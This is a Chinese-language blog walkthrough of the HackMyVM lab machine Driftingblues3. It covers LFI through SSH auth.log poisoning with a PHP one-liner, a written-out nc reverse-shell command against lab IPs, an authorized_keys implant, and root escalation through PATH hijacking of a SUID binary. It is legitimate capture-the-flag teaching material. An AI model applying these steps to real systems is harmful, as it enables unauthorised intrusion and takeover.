Windy's little blog

一切生活中的杂七杂八, and I like CTF.

HackMyVm靶机Driftingblues3的Walkthrough(LFI,命令执行路径)

    (靶机概要:LFI,命令注入到log文件中,找到敏感权限文件,通过更改$PATH进行提权)

    靶机下载地址https://hackmyvm.eu/machines/machine.php?vm=Driftingblues3。

    加载后扫描,只开了22和80端口。

    图片.png


    在80端口进行扫描,发现许多目录,看着都是敏感目录,其实都是坑。

   图片.png


   在robots.txt里发现一个目录,/eventadmins。进去以后提示有另外一个文件。

图片.png


    在这个littlequeenofspades.html文件里,通过查看源代码可以发现base64编码。

   图片.png


    通过两次解密,可以发现一个php文件的地址。

图片.png


    打开adminsfixit.php,发现这个文件显示的就是ssh的auth.log日志。

   图片.png


    由于搜索了关天也没有发现别的可着手地方,看来就是通过这个LFI的日志文件入手了。    我们尝试用随便一个用户名登录ssh,得到错误提示,必须要用key文件登录。

    图片.png


    再次打开adminsfixit.php文件,发现错误已经被记录了,且在源代码里显示了我们的用户名。

    图片.png


    这样,我们就可以利用一句话php代码作为用户名,尝试登录ssh,然后这个一句话会被记录在auth.log中。

    图片.png


    测试一下,显示出传递给一句话cmd参数的id命令被成功执行了。

图片.png


    接下就,可以得到反弹shell了。在本机监听1234端口,在靶机执行view-source:192.168.56.30/adminsfixit.php?cmd=nc 192.168.56.100 1234 -e /bin/bash,成功得到shell。

图片.png

    进入靶机后,在home目录下,我们发现robertj用户,且.ssh目录可写。于是,我们在本机用ssh-keygen生成新的id_rsa密钥对后,将id_rsa.pub改名为authorized_keys,并上传至靶机,注意密钥的属性是666,否则无法登录。


图片.png

    接下来,就可以直接使用ssh登录靶机的robertj用户了。

图片.png

    下面就看怎么提权了。经过一番寻找,我们发现robertj用户属于operators组。而属于这个组的文件,只有/usr/bin/getinfo,且这个文件同时具有SUID和SGID。

图片.png


    运行一下getinfo,发现就是显示一些ip信息、主机信息等。

    图片.png


    将getinfo下载到本机,用IDA打开看一下,就比较清楚了。它分别调用了linux系统的ip、cat和uname三个程序。

图片.png


    接下来的思路很明确,我们需要通过修改$PATH变量,让在getinfo执行系统的文件前,优先执行我们的伪程序。这里我们选择uname。

   首先修改$PATH变量,将/home/robertj目录放在最前面。

    图片.png


   然后建立一个假的unmae文件,代码很简单,就是执行bash。

    图片.png

    最后,执行getinfo,得到root。

    图片.png

   


发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0